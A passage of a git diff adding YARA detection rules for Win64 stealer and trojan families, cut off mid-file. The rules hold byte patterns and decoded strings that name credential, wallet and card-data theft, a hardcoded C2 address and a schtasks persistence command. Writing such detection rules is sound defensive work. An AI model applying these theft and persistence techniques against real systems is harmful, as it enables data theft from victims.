0000000000..1d94434d3d --- /dev/null +++ b/Trojan/Win64/Stealer/Trojan_Win64_Stealer_GVA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Stealer_GVA_MTB{ + meta: + description = "Trojan:Win64/Stealer.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_02_0 = {41 0f b6 d1 40 32 d6 0f b6 c8 d2 fa 49 c1 e8 ?? 42 8b 4c 84 ?? f6 c2 01 8b d0 } //2 + $a_01_1 = {8b 4c 24 58 43 88 0c 2f 41 ff c7 45 3b fc } //1 + condition: + ((#a_02_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/Stealer/Trojan_Win64_Stealer_MX_MTB.yar b/Trojan/Win64/Stealer/Trojan_Win64_Stealer_MX_MTB.yar index 37a1046174..b7f75a4c6a 100644 --- a/Trojan/Win64/Stealer/Trojan_Win64_Stealer_MX_MTB.yar +++ b/Trojan/Win64/Stealer/Trojan_Win64_Stealer_MX_MTB.yar @@ -9,4 +9,14 @@ rule Trojan_Win64_Stealer_MX_MTB{ condition: ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 +} +rule Trojan_Win64_Stealer_MX_MTB_2{ + meta: + description = "Trojan:Win64/Stealer.MX!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {4d 79 53 65 63 72 65 74 4c 6f 61 64 65 72 4b 65 79 31 32 33 00 00 00 00 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 00 00 00 43 00 3a 00 5c 00 00 00 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 56 00 4d 00 77 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + } \ No newline at end of file diff --git a/Trojan/Win64/Stealer/Trojan_Win64_Stealer_NFA_MTB.yar b/Trojan/Win64/Stealer/Trojan_Win64_Stealer_NFA_MTB.yar new file mode 100644 index 0000000000..d055f05775 --- /dev/null +++ b/Trojan/Win64/Stealer/Trojan_Win64_Stealer_NFA_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win64_Stealer_NFA_MTB{ + meta: + description = "Trojan:Win64/Stealer.NFA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 00 " + + strings : + $a_81_0 = {25 73 5c 77 61 6c 6c 65 74 5f 64 75 6d 70 5f 25 73 } //1 %s\wallet_dump_%s + $a_81_1 = {65 6e 63 72 79 70 74 65 64 5f 6b 65 79 } //1 encrypted_key + $a_81_2 = {43 72 65 64 65 6e 74 69 61 6c 73 2f 4d 69 63 72 6f 73 6f 66 74 5f 4d 61 69 6c 2e 74 78 74 } //2 Credentials/Microsoft_Mail.txt + $a_81_3 = {53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 4f 66 66 69 63 65 5c 25 73 5c 4f 75 74 6c 6f 6f 6b 5c 50 72 6f 66 69 6c 65 73 5c 4f 75 74 6c 6f 6f 6b } //1 Software\Microsoft\Office\%s\Outlook\Profiles\Outlook + $a_81_4 = {42 72 61 76 65 57 61 6c 6c 65 74 } //1 BraveWallet + $a_81_5 = {45 78 6f 64 75 73 } //1 Exodus + $a_81_6 = {25 73 5c 6b 61 74 7a 5f 6f 6e 74 6f 70 2e 64 6c 6c } //1 %s\katz_ontop.dll + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*2+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win64/Stealer/Trojan_Win64_Stealer_NK_MTB.yar b/Trojan/Win64/Stealer/Trojan_Win64_Stealer_NK_MTB.yar new file mode 100644 index 0000000000..1a490ee08b --- /dev/null +++ b/Trojan/Win64/Stealer/Trojan_Win64_Stealer_NK_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_Stealer_NK_MTB{ + meta: + description = "Trojan:Win64/Stealer.NK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_03_0 = {48 8b 44 24 ?? 48 89 84 24 ?? 00 00 00 48 8b 8c 24 ?? 00 00 00 e8 ?? ?? 00 00 48 89 84 24 ?? 00 00 00 48 8b 8c 24 ?? 00 00 00 e8 } //2 + $a_03_1 = {48 8d 8c 24 ?? 00 00 00 e8 ?? ?? 00 00 48 8d 8c 24 ?? 00 00 00 e8 ?? ?? 00 00 48 8d 8c 24 ?? 00 00 00 e8 ?? ?? 00 00 e9 e3 01 00 00 } //1 + $a_01_2 = {54 65 6c 65 67 72 61 6d 20 44 65 73 6b 74 6f 70 } //1 Telegram Desktop + $a_01_3 = {52 6f 61 6d 69 6e 67 } //1 Roaming + $a_01_4 = {55 53 45 52 50 52 4f 46 49 4c 45 } //1 USERPROFILE + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win64/Stealer/Trojan_Win64_Stealer_NL_MTB.yar b/Trojan/Win64/Stealer/Trojan_Win64_Stealer_NL_MTB.yar new file mode 100644 index 0000000000..40374bf7ba --- /dev/null +++ b/Trojan/Win64/Stealer/Trojan_Win64_Stealer_NL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Stealer_NL_MTB{ + meta: + description = "Trojan:Win64/Stealer.NL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {48 8b 05 52 63 28 00 45 31 c9 48 83 c0 18 0f 1f 00 4c 8b 00 4c 39 c3 72 13 48 8b 50 08 8b 52 08 49 01 d0 4c 39 c3 0f 82 88 00 00 00 41 83 c1 01 48 83 c0 28 41 39 f1 75 d8 } //2 + $a_01_1 = {48 89 c7 48 85 c0 0f 84 e6 00 00 00 48 8b 05 05 63 28 00 48 8d 1c b6 48 c1 e3 03 48 01 d8 48 89 78 20 c7 00 00 00 00 00 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/Stealer/Trojan_Win64_Stealer_NR_MTB.yar b/Trojan/Win64/Stealer/Trojan_Win64_Stealer_NR_MTB.yar new file mode 100644 index 0000000000..c8c0ea5561 --- /dev/null +++ b/Trojan/Win64/Stealer/Trojan_Win64_Stealer_NR_MTB.yar @@ -0,0 +1,22 @@ + +rule Trojan_Win64_Stealer_NR_MTB{ + meta: + description = "Trojan:Win64/Stealer.NR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0c 00 00 " + + strings : + $a_01_0 = {73 74 65 61 6c 57 6f 72 6b } //2 stealWork + $a_01_1 = {50 72 6f 63 53 74 65 61 6c } //2 ProcSteal + $a_01_2 = {68 61 6e 67 75 70 6b 69 6c 6c 65 64 6c 69 73 74 65 6e 73 6f 63 6b 65 74 } //1 hangupkilledlistensocket + $a_01_3 = {6b 69 6c 6c 69 6e 67 20 43 6d 64 65 78 65 } //1 killing Cmdexe + $a_01_4 = {64 65 73 74 72 6f 79 } //1 destroy + $a_01_5 = {62 61 64 20 72 65 73 74 61 72 74 20 50 43 } //1 bad restart PC + $a_01_6 = {47 65 74 55 73 65 72 50 72 6f 66 69 6c 65 44 69 72 65 63 74 6f 72 79 } //1 GetUserProfileDirectory + $a_01_7 = {42 6f 74 2f 4e 65 77 2f 4c 61 75 6e 63 68 65 72 } //1 Bot/New/Launcher + $a_01_8 = {47 65 74 53 79 73 74 65 6d 49 6e 66 6f } //1 GetSystemInfo + $a_01_9 = {73 61 76 65 49 6e 66 6f 46 72 6f 6d 50 61 74 68 } //1 saveInfoFromPath + $a_01_10 = {74 61 72 67 65 74 70 63 } //1 targetpc + $a_01_11 = {72 65 6d 6f 74 65 20 61 64 64 72 65 73 73 20 63 68 61 6e 67 65 64 } //1 remote address changed + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1) >=14 + +} \ No newline at end of file diff --git a/Trojan/Win64/Stealer/Trojan_Win64_Stealer_NS_MTB.yar b/Trojan/Win64/Stealer/Trojan_Win64_Stealer_NS_MTB.yar new file mode 100644 index 0000000000..ef6d562236 --- /dev/null +++ b/Trojan/Win64/Stealer/Trojan_Win64_Stealer_NS_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Stealer_NS_MTB{ + meta: + description = "Trojan:Win64/Stealer.NS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {44 89 16 45 31 d2 4c 89 c6 49 89 d1 eb dc 0f b6 48 06 0f b7 40 04 35 65 b1 00 00 } //3 + $a_01_1 = {88 4a 06 66 89 42 04 4c 8d ac 24 f8 00 00 00 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Stealer/Trojan_Win64_Stealer_TGZ_MTB.yar b/Trojan/Win64/Stealer/Trojan_Win64_Stealer_TGZ_MTB.yar new file mode 100644 index 0000000000..cd2f88b17b --- /dev/null +++ b/Trojan/Win64/Stealer/Trojan_Win64_Stealer_TGZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Stealer_TGZ_MTB{ + meta: + description = "Trojan:Win64/Stealer.TGZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {33 c1 48 8b 8c 24 b8 ab 00 00 66 89 01 8b 84 24 68 1a 00 00 48 8b 8c 24 50 48 00 00 48 8b 49 08 8b 94 24 98 71 00 00 48 8b bc 24 00 e4 00 00 0f b6 04 08 88 04 17 8b 84 24 ?? ?? ?? ?? ff c0 89 84 24 ?? ?? ?? ?? 8b 84 24 54 7e 00 00 8b 8c 24 d8 71 00 00 2b c8 8b c1 89 84 24 a8 71 00 00 8b 84 24 20 9c } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/StealerBot/Trojan_Win64_StealerBot_A.yar b/Trojan/Win64/StealerBot/Trojan_Win64_StealerBot_A.yar new file mode 100644 index 0000000000..1ff9ef319f --- /dev/null +++ b/Trojan/Win64/StealerBot/Trojan_Win64_StealerBot_A.yar @@ -0,0 +1,20 @@ + +rule Trojan_Win64_StealerBot_A{ + meta: + description = "Trojan:Win64/StealerBot.A,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0a 00 00 " + + strings : + $a_01_0 = {53 74 65 61 6c 65 72 42 6f 74 2e } //2 StealerBot. + $a_01_1 = {2e 64 6c 6c 00 49 63 65 43 72 65 61 6d } //1 + $a_01_2 = {44 45 46 45 4e 53 54 52 41 54 49 4f 4e } //1 DEFENSTRATION + $a_03_3 = {2f 49 53 50 52 2f ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 3f 64 61 74 61 3d } //1 + $a_01_4 = {54 45 5a 55 56 30 4a 56 56 45 78 65 } //1 TEZUV0JVVExe + $a_01_5 = {55 45 35 4a 54 31 4e 54 56 77 6c 44 53 30 73 3d } //1 UE5JT1NTVwlDS0s= + $a_01_6 = {55 31 56 43 53 55 4d 3d } //1 U1VCSUM= + $a_01_7 = {33 d2 b9 e9 fd 00 00 ff 15 } //1 + $a_03_8 = {48 ff c1 48 3b 90 09 09 00 80 34 08 } //1 + $a_03_9 = {b9 50 00 00 00 [0-06] 48 8b 05 ?? ?? ?? ?? 80 78 04 73 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_03_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win64/Strab/Trojan_Win64_Strab_GZK_MTB.yar b/Trojan/Win64/Strab/Trojan_Win64_Strab_GZK_MTB.yar new file mode 100644 index 0000000000..a744009e30 --- /dev/null +++ b/Trojan/Win64/Strab/Trojan_Win64_Strab_GZK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Strab_GZK_MTB{ + meta: + description = "Trojan:Win64/Strab.GZK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_03_0 = {b2 30 1b 36 e4 bc 33 12 00 ab ?? ?? ?? ?? c6 f8 c1 fe 33 b6 ?? ?? ?? ?? f2 00 ee } //5 + $a_01_1 = {2e 74 68 65 6d 69 64 61 00 e0 2e 00 00 10 16 00 00 00 00 00 00 40 14 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 00 00 00 dc 1c 00 00 f0 44 00 00 dc 1c 00 00 40 14 } //5 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/StrelaStealer/Trojan_Win64_StrelaStealer_AB_MTB.yar b/Trojan/Win64/StrelaStealer/Trojan_Win64_StrelaStealer_AB_MTB.yar new file mode 100644 index 0000000000..b032ce468e --- /dev/null +++ b/Trojan/Win64/StrelaStealer/Trojan_Win64_StrelaStealer_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_StrelaStealer_AB_MTB{ + meta: + description = "Trojan:Win64/StrelaStealer.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {0f af d0 f6 c2 01 0f 94 44 24 36 ba 16 c9 84 07 b8 95 81 79 a6 0f 44 c2 83 f9 0a 0f 9c 44 24 37 0f 4c c2 ba } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/StrelaStealer/Trojan_Win64_StrelaStealer_GPAM_MTB.yar b/Trojan/Win64/StrelaStealer/Trojan_Win64_StrelaStealer_GPAM_MTB.yar deleted file mode 100644 index a2c0ead79c..0000000000 --- a/Trojan/Win64/StrelaStealer/Trojan_Win64_StrelaStealer_GPAM_MTB.yar +++ /dev/null @@ -1,14 +0,0 @@ - -rule Trojan_Win64_StrelaStealer_GPAM_MTB{ - meta: - description = "Trojan:Win64/StrelaStealer.GPAM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " - - strings : - $a_01_0 = {4c 31 c1 48 09 d0 4c 09 c1 48 35 ff ff ff ff 48 21 c8 48 89 85 } //4 - $a_03_1 = {44 21 d1 45 89 c3 41 83 f3 ff 41 81 e3 ?? ?? ?? ?? 45 21 d0 41 09 c9 45 09 c3 45 31 d9 } //4 - $a_01_2 = {48 31 ca 48 89 c1 48 31 d1 48 21 c1 } //4 - $a_01_3 = {44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 } //1 DllRegisterServer - condition: - ((#a_01_0 & 1)*4+(#a_03_1 & 1)*4+(#a_01_2 & 1)*4+(#a_01_3 & 1)*1) >=5 - -} \ No newline at end of file diff --git a/Trojan/Win64/StrelaStealer/Trojan_Win64_StrelaStealer_PGS_MTB.yar b/Trojan/Win64/StrelaStealer/Trojan_Win64_StrelaStealer_PGS_MTB.yar new file mode 100644 index 0000000000..90f90b177c --- /dev/null +++ b/Trojan/Win64/StrelaStealer/Trojan_Win64_StrelaStealer_PGS_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_StrelaStealer_PGS_MTB{ + meta: + description = "Trojan:Win64/StrelaStealer.PGS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {6d 6b 68 56 69 75 6c 50 69 71 48 48 4f 45 6f 63 43 76 56 63 69 4c 71 52 54 77 6b 67 77 47 48 63 67 52 54 42 6c 50 4b 6b 6b 41 78 46 56 4c 71 4d 48 7a 46 6c 66 43 41 41 62 67 53 61 63 67 78 65 42 4c 62 4d 79 61 70 78 51 77 4d 54 } //3 mkhViulPiqHHOEocCvVciLqRTwkgwGHcgRTBlPKkkAxFVLqMHzFlfCAAbgSacgxeBLbMyapxQwMT + $a_01_1 = {44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 } //1 DllRegisterServer + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win64/SvcStealer/Trojan_Win64_SVCStealer_SX_MTB.yar b/Trojan/Win64/SvcStealer/Trojan_Win64_SVCStealer_SX_MTB.yar new file mode 100644 index 0000000000..5712f1747e --- /dev/null +++ b/Trojan/Win64/SvcStealer/Trojan_Win64_SVCStealer_SX_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_SVCStealer_SX_MTB{ + meta: + description = "Trojan:Win64/SVCStealer.SX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,23 00 23 00 03 00 00 " + + strings : + $a_03_0 = {0f be 37 8b ce e8 ?? ?? ?? ?? 85 c0 75 09 40 80 fe 5f 74 03 c6 07 5f 48 ff c7 48 3b fb 75 e1 } //20 + $a_03_1 = {4c 89 7c 24 38 4c 89 7c 24 30 44 89 7c 24 28 4c 89 7c 24 20 41 83 c9 ff 33 d2 33 c9 ff 15 ?? ?? ?? ?? 48 63 f8 48 c7 44 24 78 0f 00 00 00 4c 89 7c 24 70 44 88 7c 24 60 48 8b d7 45 33 c0 48 8d 4c 24 60 e8 } //10 + $a_81_2 = {39 41 50 41 52 57 38 33 5a 36 } //5 9APARW83Z6 + condition: + ((#a_03_0 & 1)*20+(#a_03_1 & 1)*10+(#a_81_2 & 1)*5) >=35 + +} \ No newline at end of file diff --git a/Trojan/Win64/SvcStealer/Trojan_Win64_SvcStealer_CM_MTB.yar b/Trojan/Win64/SvcStealer/Trojan_Win64_SvcStealer_CM_MTB.yar new file mode 100644 index 0000000000..6ee2706cc2 --- /dev/null +++ b/Trojan/Win64/SvcStealer/Trojan_Win64_SvcStealer_CM_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_SvcStealer_CM_MTB{ + meta: + description = "Trojan:Win64/SvcStealer.CM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 00 " + + strings : + $a_81_0 = {39 41 50 41 52 57 38 33 5a 36 } //2 9APARW83Z6 + $a_81_1 = {36 32 2e 36 30 2e 32 32 36 2e 31 39 31 } //2 62.60.226.191 + $a_81_2 = {75 69 64 3d 25 73 26 76 65 72 3d 25 73 } //1 uid=%s&ver=%s + $a_81_3 = {53 45 4c 45 43 54 20 6e 61 6d 65 5f 6f 6e 5f 63 61 72 64 2c 20 65 78 70 69 72 61 74 69 6f 6e 5f 6d 6f 6e 74 68 2c 20 65 78 70 69 72 61 74 69 6f 6e 5f 79 65 61 72 2c 20 63 61 72 64 5f 6e 75 6d 62 } //1 SELECT name_on_card, expiration_month, expiration_year, card_numb + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*2+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win64/SvcStealer/Trojan_Win64_SvcStealer_DIG_MTB.yar b/Trojan/Win64/SvcStealer/Trojan_Win64_SvcStealer_DIG_MTB.yar new file mode 100644 index 0000000000..19fe6f09e4 --- /dev/null +++ b/Trojan/Win64/SvcStealer/Trojan_Win64_SvcStealer_DIG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_SvcStealer_DIG_MTB{ + meta: + description = "Trojan:Win64/SvcStealer.DIG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 63 ca 8d 42 87 ff c2 42 30 44 21 0a 83 fa 57 72 ee } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/SystemBC/Trojan_Win64_SystemBC_SD_MTB.yar b/Trojan/Win64/SystemBC/Trojan_Win64_SystemBC_SD_MTB.yar new file mode 100644 index 0000000000..7c8e0aff6f --- /dev/null +++ b/Trojan/Win64/SystemBC/Trojan_Win64_SystemBC_SD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_SystemBC_SD_MTB{ + meta: + description = "Trojan:Win64/SystemBC.SD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 63 c9 48 c1 e1 02 48 01 ca 33 45 30 89 02 83 45 e4 01 8b 45 e4 48 63 d0 48 8b 45 d8 48 c1 e8 02 48 39 c2 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tasker/Trojan_Win64_Tasker_KK_MTB.yar b/Trojan/Win64/Tasker/Trojan_Win64_Tasker_KK_MTB.yar new file mode 100644 index 0000000000..663f79e60f --- /dev/null +++ b/Trojan/Win64/Tasker/Trojan_Win64_Tasker_KK_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Tasker_KK_MTB{ + meta: + description = "Trojan:Win64/Tasker.KK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 03 00 00 " + + strings : + $a_03_0 = {b9 01 00 00 00 f0 48 0f c1 0d ?? ?? 16 00 49 89 cf 4d 31 c7 4c 89 fb 48 c1 c3 10 4f 8d 24 0f 4c 31 e3 4e 8d 2c 13 4c 31 e9 4d 01 df 4d 89 fc 49 c1 c4 20 48 c1 c3 15 4d 31 f7 } //10 + $a_03_1 = {48 89 44 24 30 48 8d 84 24 78 01 00 00 ?? ?? ?? 24 20 48 c7 44 24 38 00 00 00 00 c7 44 24 28 0c 00 00 00 48 89 f1 ba 00 14 2d 00 4c 8d 84 24 b4 01 00 00 41 b9 0c 00 00 00 e8 } //5 + $a_01_2 = {63 6d 64 2f 43 73 63 68 74 61 73 6b 73 2f 43 72 65 61 74 65 2f 53 43 4f 4e 4c 4f 47 4f 4e 2f 54 4e 2f 54 52 2f 52 4c 48 49 47 48 45 53 54 2f 46 } //7 cmd/Cschtasks/Create/SCONLOGON/TN/TR/RLHIGHEST/F + condition: + ((#a_03_0 & 1)*10+(#a_03_1 & 1)*5+(#a_01_2 & 1)*7) >=22 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_AD_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_AD_MTB.yar new file mode 100644 index 0000000000..eae7cfec0d --- /dev/null +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_AD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Tedy_AD_MTB{ + meta: + description = "Trojan:Win64/Tedy.AD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {0f 57 c0 33 c0 0f 11 45 a0 0f 11 45 b0 0f 11 45 c0 0f 11 45 d0 0f 11 45 e0 0f 11 45 f0 0f 11 45 00 4c 89 6d a0 0f 11 45 a8 4c 89 6d b8 48 c7 45 c0 0f 00 00 00 88 45 a8 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_AH_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_AH_MTB.yar new file mode 100644 index 0000000000..bc0a970878 --- /dev/null +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_AH_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Tedy_AH_MTB{ + meta: + description = "Trojan:Win64/Tedy.AH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {32 db 48 8b 54 24 58 48 83 fa 07 0f 86 c1 00 00 00 48 8b 4c 24 40 48 8d 14 55 02 00 00 00 48 8b c1 48 81 fa 00 10 00 00 0f 82 9f 00 00 00 48 8b 49 f8 } //1 + $a_01_1 = {56 69 78 65 6e 2e 65 78 65 } //1 Vixen.exe + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_AK_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_AK_MTB.yar new file mode 100644 index 0000000000..8c7bc100de --- /dev/null +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_AK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Tedy_AK_MTB{ + meta: + description = "Trojan:Win64/Tedy.AK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {41 33 c4 8b f8 0f 57 c0 0f 11 03 48 89 73 10 48 c7 43 18 0f 00 00 00 c6 03 00 c7 44 24 20 01 00 00 00 4c 8b 6c 24 48 4c 8b 7c 24 30 83 f8 0f 74 1a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_ATD_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_ATD_MTB.yar new file mode 100644 index 0000000000..b5bda4b950 --- /dev/null +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_ATD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Tedy_ATD_MTB{ + meta: + description = "Trojan:Win64/Tedy.ATD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {0f 57 c0 0f 11 45 c8 48 89 45 d8 48 8d 95 a0 03 00 00 48 83 bd b8 03 00 00 0f 48 0f 47 95 a0 03 00 00 48 8d 45 c8 48 89 44 24 48 48 8d 85 20 04 00 00 48 89 44 24 40 4c 89 6c 24 38 4c 89 6c 24 30 44 89 6c 24 28 44 89 6c 24 20 45 33 c9 45 33 c0 33 c9 ff 15 } //1 + $a_01_1 = {48 8d 45 27 48 89 75 27 48 89 44 24 50 48 8d 4d 37 89 74 24 48 45 33 c9 89 74 24 40 45 33 c0 89 74 24 38 b2 01 89 74 24 30 89 74 24 28 89 74 24 20 89 75 37 66 c7 45 3b 00 01 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_ATYE_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_ATYE_MTB.yar new file mode 100644 index 0000000000..d2edfd387e --- /dev/null +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_ATYE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Tedy_ATYE_MTB{ + meta: + description = "Trojan:Win64/Tedy.ATYE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 03 40 32 c6 88 44 24 30 48 3b bd ?? ?? ?? ?? 74 0e 88 07 48 ff c7 48 89 bd ?? ?? ?? ?? eb 1b 4c 8d 44 24 30 48 8b d7 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_ATY_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_ATY_MTB.yar index 5294894521..1e403a3b0c 100644 --- a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_ATY_MTB.yar +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_ATY_MTB.yar @@ -13,13 +13,23 @@ rule Trojan_Win64_Tedy_ATY_MTB_2{ meta: description = "Trojan:Win64/Tedy.ATY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + strings : + $a_03_0 = {48 8b d6 48 89 55 97 41 b8 ?? ?? ?? ?? 4c 89 45 9f 88 55 87 c7 45 a7 ?? ?? ?? ?? b1 14 80 f1 55 48 8d 5b 01 49 3b d0 73 1f 48 8d 42 01 48 89 45 97 48 8d 45 87 49 83 f8 0f } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_Win64_Tedy_ATY_MTB_3{ + meta: + description = "Trojan:Win64/Tedy.ATY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + strings : $a_01_0 = {83 c8 05 88 43 40 48 85 d2 0f 84 54 01 00 00 48 83 7a 18 00 0f 84 39 01 00 00 48 8b 42 18 f0 83 00 01 48 8b 4b 30 48 85 c9 74 06 ff 15 c8 7d 01 00 4c 89 e9 e8 24 1d 00 00 48 8b 4b 28 ff 15 } //1 condition: ((#a_01_0 & 1)*1) >=1 } -rule Trojan_Win64_Tedy_ATY_MTB_3{ +rule Trojan_Win64_Tedy_ATY_MTB_4{ meta: description = "Trojan:Win64/Tedy.ATY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_C_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_C_MTB.yar new file mode 100644 index 0000000000..b03d41b570 --- /dev/null +++ 